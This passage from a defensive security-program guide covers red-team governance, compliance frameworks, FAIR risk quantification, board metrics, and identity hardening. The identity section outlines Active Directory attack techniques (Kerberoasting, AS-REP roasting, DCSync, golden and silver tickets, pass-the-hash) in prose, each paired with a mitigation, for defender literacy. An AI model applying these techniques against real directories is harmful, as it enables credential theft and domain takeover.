   PROCESS (Part 8's detection and Ch 55's response) as much as
   technology.
   PREREQUISITES: red team engagements are usually only worth the cost
   ONCE a detection program (Part 8) is mature enough to plausibly catch
   something -- running a full red team against an organisation with
   near-zero detection capability mostly just re-confirms "yes, you have
   no detection", which a much cheaper conversation could have
   established. PURPLE TEAMING (Part 1 Ch 2) is frequently BETTER ROI
   than a pure, secretive red team for most organisations, specifically
   because it's collaborative and directly builds detection coverage
   rather than just scoring a single stealthy campaign.
   GOVERNANCE: requires EXECUTIVE SPONSORSHIP, explicit legal/HR
   coordination (a red team that social-engineers real employees or
   tests physical security has real organisational and sometimes legal
   implications distinct from a pure technical pentest), and a clear,
   documented "get out of jail free" authorisation that names exactly
   what's in scope, held by both the red team and a small, informed set
   of defenders (a "white cell") who can vouch for the activity if it's
   detected mid-engagement.

The maturity progression, and the one rule that ties it all together:

   VDP (always, from day one)
     -> private/invite bug bounty (once triage capacity exists)
       -> public bug bounty (once triage is proven at smaller scale)
         -> periodic pentests (for compliance, major releases, or
            specific high-value systems needing white/grey-box depth a
            bounty program's incentive structure doesn't naturally
            produce)
           -> red team engagements (once detection, Part 8, is mature
              enough to be worth testing) -- often via purple teaming
              (Part 1 Ch 2) first, graduating to fuller red team
              exercises as the program matures.

   THE RULE: regardless of source -- a researcher's VDP report, a bounty
   submission, a pentest finding, or a red team's after-action report --
   EVERY finding lands in the SAME vulnerability-management pipeline
   (Ch 59), with the SAME prioritisation discipline, tracked to closure
   with the SAME rigour. An offensive-testing program that produces
   excellent findings which then sit unfixed in a report is strictly
   worse than not testing at all -- it creates documented knowledge of
   the exposure with no corresponding action, which is a liability in
   its own right if it's ever discovered during litigation or a breach
   investigation.

How it works

The major frameworks, and what each actually is:

   SOC 2      an AUDIT (not a certification) against the AICPA's Trust
     Services Criteria: Security (mandatory), and optionally
     Availability, Confidentiality, Processing Integrity, Privacy.
     TYPE I: are controls DESIGNED appropriately, at a point in time.
     TYPE II: were controls OPERATING EFFECTIVELY over a period (typically
       6-12 months) -- the version customers actually want to see, because
       it demonstrates sustained practice, not just a good policy
       document.
     Extremely common as a B2B SaaS sales requirement -- often the FIRST
     framework a growing company pursues, driven by customer procurement
     requirements rather than direct regulation.

   ISO/IEC 27001   an actual CERTIFICATION (via an accredited certification
     body) of an ISMS (Information Security Management System) -- not
     just a set of controls, but a MANAGEMENT SYSTEM following a
     Plan-Do-Check-Act continuous-improvement cycle. Annex A lists the
     specific control set; the certification body audits BOTH the
     controls and the management-system process around them (risk
     assessment, management review, internal audit, corrective action).
     ISO/IEC 27701 extends it specifically for PRIVACY (Part 7's domain),
     recognisable to anyone who's built that Part's data-protection
     program.

   NIST CYBERSECURITY FRAMEWORK (CSF)   not a certification -- a
     voluntary, widely-adopted STRUCTURE for organising and
     self-assessing a security program around six functions (CSF 2.0):
     GOVERN, Identify, Protect, Detect, Respond, Recover. Extremely useful
     as a COMMUNICATION TOOL (Ch 62) even for organisations pursuing
     SOC 2/ISO 27001 as their formal compliance target, because its
     function names map intuitively onto conversations with
     non-technical stakeholders.

   PCI-DSS (recap, G1 Ch 43)   mandatory if you handle payment card data;
     SAQ (Self-Assessment Questionnaire) type or a full QSA-led assessment
     depending on transaction volume and how you handle cards (Part 7
     Ch 43's tokenization discussion directly determines which SAQ tier
     applies).

   HIPAA (US health data)   the Security Rule (administrative, physical,
     and technical safeguards -- this guide's Parts 2-8 cover the
     technical safeguards in depth), the Privacy Rule, and the Breach
     Notification Rule, plus Business Associate Agreements with any
     vendor/processor touching Protected Health Information -- directly
     analogous to Part 7 Ch 47's Data Processing Agreements, applied to a
     specific US regulatory context.

   FEDRAMP (US federal cloud)   a heavy, formal authorisation process for
     cloud services selling to US federal agencies -- StateRAMP mirrors
     it for US state/local government. Substantially more demanding than
     SOC 2/ISO 27001 in documentation and continuous-monitoring
     requirements; only pursue if your actual customer base requires it.

"Compliance != security" — the theater to recognise and avoid:

   An audit SAMPLES evidence over a defined period; it does not pentest
   your systems, does not verify every control operated correctly on
   every day of the audit period, and does not catch a control that
   looks correct on paper but is trivially bypassed in practice. A
   security program that optimises for PASSING THE AUDIT rather than
   REDUCING ACTUAL RISK can, and does, pass audits while carrying real,
   substantial gaps -- this is "compliance theater": doing the minimum
   documented activity required to satisfy a control's LANGUAGE without
   addressing the risk the control was meant to manage.
   THE TELL: if a control's evidence is generated ONLY because the audit
   is approaching (a frantic pre-audit access review that hasn't happened
   since the last audit, a policy document nobody has actually followed
   day-to-day), it's theater. If the SAME evidence is a natural byproduct
   of a control that runs continuously ANYWAY (Part 7 Ch 49's quarterly
   recertification, Part 8's live-validated detection coverage), it's
   real.

The right way round: build the program, then map the evidence:

   Rather than reading a compliance framework's control list and building
   NEW, PARALLEL processes to satisfy each line item, map this guide's
   ALREADY-BUILT artifacts onto the framework's language:

     SOC 2 / ISO 27001 "logical access control" / "access review"
       controls          <-  Part 7 Ch 49's JIT access + quarterly
                             recertification (ALREADY produces exactly
                             the evidence an auditor wants: who has
                             access, when it was last reviewed, what was
                             revoked).
     "vulnerability management" controls
                          <-  Ch 59's prioritised backlog, SLA tracking,
                             and risk-acceptance records.
     "incident response" controls
                          <-  Ch 55/G1 Ch 51's IR lifecycle, PLUS the
                             actual tabletop/drill records (G1 Ch 51's
                             practice exercise) as evidence the plan is
                             tested, not just written.
     "security monitoring" / "logging" controls
                          <-  Part 8's telemetry architecture and
                             detection coverage heat map -- an auditor
                             asking "how do you detect security events"
                             gets a genuinely substantive, evidenced
                             answer instead of "we have a SIEM."
     "secure development" controls
                          <-  Ch 58's SDLC gates, with CI pipeline logs
                             as automatic, continuously-generated
                             evidence.
     "data protection" / "privacy" controls (ISO 27701 specifically)
                          <-  the entirety of Part 7.
     "risk assessment" controls
                          <-  Part 1 Ch 4's threat-modeling artifacts,
                             kept live in the repo.

   Built this way, GENUINE security practice generates compliance
   evidence AS A BYPRODUCT, continuously, rather than requiring a
   separate, disconnected "compliance team" effort that scrambles before
   each audit cycle to manufacture evidence for controls nobody actually
   operates day to day.

Continuous compliance tooling and harmonised control mapping:

   Tools like Vanta, Drata, and Secureframe connect directly to your
   cloud accounts, IdP, ticketing system, and CI/CD platform to pull
   evidence CONTINUOUSLY (an access list snapshot, an open-vulnerability
   report, an MFA-enforcement setting) rather than requiring a manual
   evidence-gathering scramble before each audit -- but they still
   REQUIRE the underlying controls to genuinely exist and operate; they
   automate EVIDENCE COLLECTION, not the actual security work.

   Because MANY frameworks ask for essentially the same underlying
   control (a quarterly access review satisfies language in SOC 2, ISO
   27001, and PCI-DSS simultaneously, worded slightly differently in
   each), a HARMONISED CONTROL MAPPING -- build the control ONCE, map its
   evidence to every framework's specific wording -- avoids duplicating
   effort per-framework. Reference mappings exist to start from: the
   Cloud Security Alliance's Cloud Controls Matrix (CCM) and the Secure
   Controls Framework (SCF) both publish free, cross-framework control
   mappings specifically for this purpose.

How it works

Qualitative vs quantitative risk:

   QUALITATIVE (High/Medium/Low heat maps)   fast, intuitive, low
     analytical overhead -- and the DEFAULT most organisations use.
     Weakness: "High" means different things to different people, and
     it's impossible to meaningfully compare "High cyber risk" against
     "High supply-chain risk" or "High market risk" on the SAME
     scale -- which is exactly what a board weighing competing
     investments needs to do.

   QUANTITATIVE (FAIR -- Factor Analysis of Information Risk, an Open
     Group standard)   expresses risk in DOLLAR terms:
       risk = Loss Event Frequency x Loss Magnitude
     both expressed as PROBABILISTIC RANGES (not single point guesses --
     FAIR analyses typically use Monte Carlo simulation to produce a
     distribution, e.g. "a 10-90% confidence range of $200K-$4M in
     annualised expected loss from this risk category") rather than false
     precision.
     STRENGTH: lands directly in the language executives and boards
     already use for every OTHER business risk they weigh (market risk,
     credit risk, operational risk) -- "this risk could cost us $X-$Y
     per year" is directly comparable to "expanding into this market
     could cost us $X-$Y", which a "High" severity rating simply cannot
     be.
     COST: genuinely harder to do well -- requires real data (or
     defensible estimates) for frequency and magnitude, and unskilled
     application produces false precision that's WORSE than an honest
     qualitative rating. Use it selectively, for your highest-stakes risk
     decisions and board-level asks, not for every finding in Ch 59's
     backlog.

The risk register — a living document, not an annual exercise:

   For each significant risk: description, likelihood, impact, OWNER,
   TREATMENT (the same four options as Part 1 Ch 4's threat-modeling
   decision: mitigate / accept / transfer / avoid), residual risk after
   treatment, and a REVIEW DATE. This is Part 1 Ch 4's threat-modeling
   output and Ch 59's risk-acceptance records, ROLLED UP to the
   organisational level -- the same discipline, applied at a coarser
   grain for leadership visibility.

Metrics that matter vs vanity metrics:

   METRICS THAT MATTER (each should be trended over time, not reported
   as a single snapshot):
     - MTTD / MTTR (mean time to detect / respond) -- Part 8's detection
       program directly produces this.
     - % of KEV/high-EPSS findings remediated within SLA (Ch 59) -- a
       far more informative number than raw finding count.
     - ATT&CK technique coverage % (Part 8 Ch 51/57's heat map) -- a
       genuine measure of detection breadth, with live-validation dates
       attached so it can't be gamed by writing untested rules.
     - % of access reviews completed on schedule, and the RATE of stale
       grants found and revoked per cycle (Part 7 Ch 49) -- both the
       process health AND the underlying risk trend.
     - % of assets with current classification/inventory (Part 7 Ch 41) --
       the foundational "do we even know what we're protecting" metric.
     - phishing-simulation click-through-rate TREND (if you run these) --
       trend matters far more than any single result.
   VANITY METRICS (avoid leading with these):
     - raw vulnerability/finding COUNT -- rises simply as scanning
       coverage improves; not informative about actual risk trend on its
       own (Ch 59).
     - number of SECURITY TOOLS deployed -- says nothing about whether
       they're tuned, integrated, or producing acted-upon findings.
     - training COMPLETION percentage alone, with no accompanying
       behaviour-change evidence (e.g. phishing-simulation click-rate
       actually improving) -- completion doesn't prove comprehension or
       changed behaviour.

Board and leadership reporting — the practical discipline:

   [ ] a SMALL number of KPIs (5-8, not 30) TRACKED OVER TIME, not a
       comprehensive data dump -- the board's job is oversight and
       resource-allocation decisions, not operating the security program;
       give them what they need to do THAT job.
   [ ] BENCHMARK against peers/industry where possible (breach-cost
       reports, industry maturity surveys) -- "our MTTD is X, industry
       median is Y" is more actionable than X in isolation.
   [ ] TIE metrics to BUSINESS OBJECTIVES explicitly -- "this system's
       uptime and integrity protect $X in annual revenue" or "this
       control reduces our exposure in the risk category the board
       flagged last quarter as a priority" -- connect the technical work
       to what the board already cares about, don't assume the connection
       is obvious to a non-technical audience.
   [ ] FRAME ASKS as resource-allocation decisions with an explicit
       risk-reduction rationale: "we need budget/headcount for X because
       it reduces risk category Y from [current state] to [target
       state]" -- not "we need more security tools" as an unquantified
       request.
   [ ] DIFFERENT AUDIENCES need different framing: an incident update to
       the immediate leadership team (technical detail, tactical
       decisions needed NOW) looks very different from a board-level
       quarterly update (strategic trend, business impact, resourcing
       asks) or a customer-facing communication (G1 Ch 51's incident-
       communication guidance, revisited here for the ongoing,
       non-incident reporting case too).

Building the business case for security investment:

   Proving a NEGATIVE (the breach that didn't happen because of this
   investment) is inherently hard -- there's no clean, attributable
   metric for "incidents prevented." Use what's available instead:
     - INDUSTRY BREACH-COST BENCHMARKS (e.g. the annually-published "Cost
       of a Data Breach" report from major vendors/researchers) to
       establish a credible order-of-magnitude cost-avoidance range for a
       given risk category.
     - FAIR quantification (above) for your highest-stakes specific
       decisions, where the analytical investment is justified by the
       size of the ask.
     - CONCRETE FINDINGS FROM YOUR OWN LABS AND AUDITS as the most
       persuasive evidence available: "here is the actual attack path we
       found and walked in our own environment (Part 1/2/4's hands-on
       labs), here is what it would have cost had it been a real
       attacker, and here is the specific, budgeted investment that
       closes it" is far more compelling to a leadership audience than an
       abstract risk statement, precisely because it's demonstrated, not
       hypothetical.

How it works

Hardening the IdP itself — it is now the highest-value target in the organisation:

   Every application federated to a single IdP (Okta, Entra ID, Ping
   Identity, or similar) INHERITS that IdP's compromise -- a Golden-
   SAML-class event (Part 6 Ch 39) at the IdP is, functionally, a
   compromise of every downstream application simultaneously.
   [ ] IdP ADMIN accounts require PHISHING-RESISTANT MFA (WebAuthn/
       passkeys, G1 Ch 46) without exception -- this is the single
       highest-value account class to protect in the entire
       organisation.
   [ ] the admin CONSOLE itself is access-restricted (network-level
       where possible, e.g. only from a managed-device/VPN context) and
       every admin action is logged to the HIGHEST-PRIORITY telemetry
       source in your Part 8 pipeline -- an IdP admin-log anomaly should
       page someone faster than almost anything else you monitor.
   [ ] a BREAK-GLASS account for the IdP ITSELF (distinct from any
       application-level break-glass, Part 7 Ch 49) -- if the IdP is
       unavailable or compromised, you need a path back in that doesn't
       depend on the IdP working. Store its credentials offline/
       physically secured, test it periodically, and alert immediately
       on any use.
   [ ] CONDITIONAL ACCESS / risk-based authentication (below) configured
       at the IdP level protects every downstream application at once,
       rather than requiring each application to implement its own
       risk-scoring.

Directory security — Active Directory, still common behind many enterprise IdPs:

   Many organisations' cloud IdP is SYNCHRONISED from an on-premises
   Active Directory (via Entra Connect / similar) -- meaning AD's own
   security posture directly determines the cloud identity layer's
   trustworthiness too. Baseline hardening:
     [ ] a TIERED ADMINISTRATION MODEL (Microsoft's Tier 0/1/2):
           Tier 0 = domain controllers and identity infrastructure itself
           Tier 1 = servers
           Tier 2 = workstations
         with the STRICT rule that an admin credential for a LOWER tier
         must NEVER be usable to escalate to a HIGHER tier (e.g. a
         workstation-admin credential should never also work as a
         domain-controller admin) -- this is the same "blast-radius
         containment" principle as Part 2's IAM permission boundaries and
         Part 4's Kubernetes RBAC scoping, applied to the directory.
     [ ] LAPS (Local Administrator Password Solution) -- randomised,
         UNIQUE local administrator passwords per machine, rotated
         automatically -- defeats the classic "one shared local admin
         password reused across the whole fleet" pattern that turns one
         compromised workstation into lateral movement across all of
         them.
     [ ] protect and periodically ROTATE the krbtgt account (the Kerberos
         ticket-granting-ticket service account) -- its hash is what
         makes GOLDEN TICKET forgery (below) possible; a stale, never-
         rotated krbtgt is a standing, severe risk.
     [ ] DISABLE legacy protocols (NTLMv1, unconstrained Kerberos
         delegation) that enable many of the classic attack paths below.

AD attack paths — enough literacy to have an informed conversation, even though deep AD pentesting is outside this guide's scope (Ch 69):

   KERBEROASTING     request a Kerberos service ticket for any account
     with a registered Service Principal Name (SPN); the ticket is
     encrypted with that SERVICE ACCOUNT'S PASSWORD HASH -- crack it
     OFFLINE, with no further interaction needed. Mitigation: long,
     random service-account passwords, or Group Managed Service Accounts
     (gMSA, which rotate automatically and are effectively immune).
   AS-REP ROASTING   accounts configured with "do not require Kerberos
     pre-authentication" can have their hash requested and cracked
     offline similarly, with no valid credentials needed at all.
     Mitigation: don't disable pre-auth unless there's a specific,
     understood reason.
   DCSYNC            an account with DOMAIN REPLICATION rights (e.g.
     `GetChangesAll`, normally reserved for domain controllers themselves)
     can impersonate a domain controller and pull EVERY password hash in
     the domain, including krbtgt -- a direct route to Golden Tickets
     (below). Mitigation: strictly limit replication-rights grants,
     monitor for replication requests originating from NON-domain-
     controller hosts (a strong, specific detection signal).
   GOLDEN / SILVER TICKETS   forge Kerberos tickets using a stolen
     krbtgt hash (Golden -- unrestricted, any user, any privilege, any
     service, for as long as the hash is valid) or a stolen SERVICE
     account hash (Silver -- scoped to that one service) -- both provide
     PERSISTENT, hard-to-detect access surviving normal password resets
     (a Golden Ticket survives until krbtgt is rotated TWICE).
     Mitigation: the tiered model + LAPS + krbtgt rotation above, plus
     detection for anomalous ticket lifetimes/encryption-type patterns.
   PASS-THE-HASH / PASS-THE-TICKET   reuse a captured password hash or
     Kerberos ticket directly, without ever knowing the plaintext
     password -- the direct reason the tiered model (above) matters: if
     tiers are properly separated, a hash/ticket captured at a lower tier
     simply doesn't work at a higher one.
   BLOODHOUND (the direct AD analogue of Part 1/2/4's PMapper/KubeHound)
     is the standard tool for GRAPHING these attack paths across a real
     domain -- the SAME attack-path methodology from Part 1 Ch 1, applied
     to Active Directory specifically. If your organisation runs AD, this
     is worth running (with authorisation, per G1 Ch 0.6) at least once
     to see your own actual exposure, even if deep AD offense/defense is
     otherwise outside this guide's scope.

Cloud-hybrid identity risk — where AD and the cloud IdP meet:

   The AD-CONNECT (or equivalent) SYNC ACCOUNT is a uniquely
   high-value target: compromising it can grant an attacker the ability
   to affect BOTH the on-premises directory AND the cloud tenant it
   synchronises to.
   PASSWORD HASH SYNC vs PASS-THROUGH AUTHENTICATION is a real
     architectural trade-off (hash sync means the cloud IdP CAN
     authenticate independently if on-prem AD is unavailable, at the cost
     of the hash existing in the cloud too; pass-through keeps
     authentication decisions on-prem, at the cost of an on-prem outage
     also breaking cloud sign-in) -- know which your organisation uses
     and why.
   FEDERATION TRUST (e.g. ADFS) compromise is DIRECTLY the Golden SAML
     scenario from Part 6 Ch 39 -- the token-signing key for federated
     sign-in is exactly the kind of asset that chapter's "protect it like
     a root CA" guidance applies to.

Lifecycle management — Joiner/Mover/Leaver, automated from a single source of truth:

   PROVISIONING/DEPROVISIONING driven AUTOMATICALLY from the HR system
   (the authoritative source of "this person is employed, in this role,
   as of this date") rather than manual, ad-hoc account creation/removal
   -- SCIM (System for Cross-domain Identity Management) is the standard
   protocol for propagating these lifecycle events automatically across
   every connected SaaS application, not just the core IdP.
   THE "MOVER" CASE IS THE MOST COMMONLY NEGLECTED: joiner (new hire) and
   leaver (termination) processes usually get real attention; an
   employee CHANGING TEAMS/ROLES internally often keeps their OLD
   access indefinitely because no "offboarding" trigger ever fires for an
   internal move -- this is EXACTLY Part 7 Ch 49's worked-example finding
   (the engineer who rotated teams and kept stale access), generalised
   here as a structural, enterprise-wide lifecycle-management gap rather
   than something recertification alone should have to catch after the
   fact.

Privileged Access Management (PAM) — Part 7 Ch 49's JIT pattern, generalised to ALL infrastructure/admin access:

   Tools: CyberArk, HashiCorp Boundary, Teleport, BeyondTrust -- providing,
   across servers, network devices, databases, and cloud consoles broadly
   (not just the data-specific access Part 7 Ch 49 focused on):
     CREDENTIAL VAULTING   no human ever directly knows the actual
       privileged password/key -- either a check-out/check-in model, or
       (better) fully JIT-GENERATED, short-lived credentials issued per
       session and auto-expired (the same principle as G1 Ch 49's dynamic
       secrets and Part 2's IAM temporary sessions, applied to
       human-operator infrastructure access specifically).
     SESSION RECORDING/PROXYING   every privileged session is logged and,
       for the most sensitive systems, fully recorded/replayable -- the
       SAME control this guide has now applied at the data layer
       (Part 7 Ch 49), the CI/CD layer (implicitly, via pipeline audit
       logs, Part 3), and now the general infrastructure-admin layer.
   This chapter and Part 7 Ch 49 are the SAME underlying principle
   (least standing privilege, time-boxed access, full session
   accountability) applied at two different layers -- data access there,
   infrastructure/directory access here -- and a mature program runs BOTH
   through a consistent, ideally SHARED, tooling and governance approach
   rather than as separate initiatives with separate tools and separate
   review cycles.

Conditional access and device trust — identity plus context, not identity alone:

   CONDITIONAL ACCESS (Entra Conditional Access, Okta's equivalent)
   dynamically adjusts AUTHENTICATION REQUIREMENTS based on real-time
   signals: is this device COMPLIANT/managed (an MDM-attested posture
   check, not just "is this the right password"), is the source IP/
   location consistent with this user's normal pattern (directly the
   PREVENTIVE complement to Ch 53's UEBA, which is DETECTIVE -- conditional
   access tries to stop the anomalous sign-in before it succeeds; UEBA
   catches the pattern if it gets through anyway), is the IP address
   itself known-risky (reputation feeds, again connecting to Ch 53's
   threat-intelligence enrichment).
   DEVICE TRUST as an access-control INPUT, not just user identity: even
   correct credentials plus correct MFA from an UNMANAGED, non-compliant
   device can be denied access to the most sensitive systems -- treating
   "what is this request coming from" as a first-class signal alongside
   "who is this request claiming to be."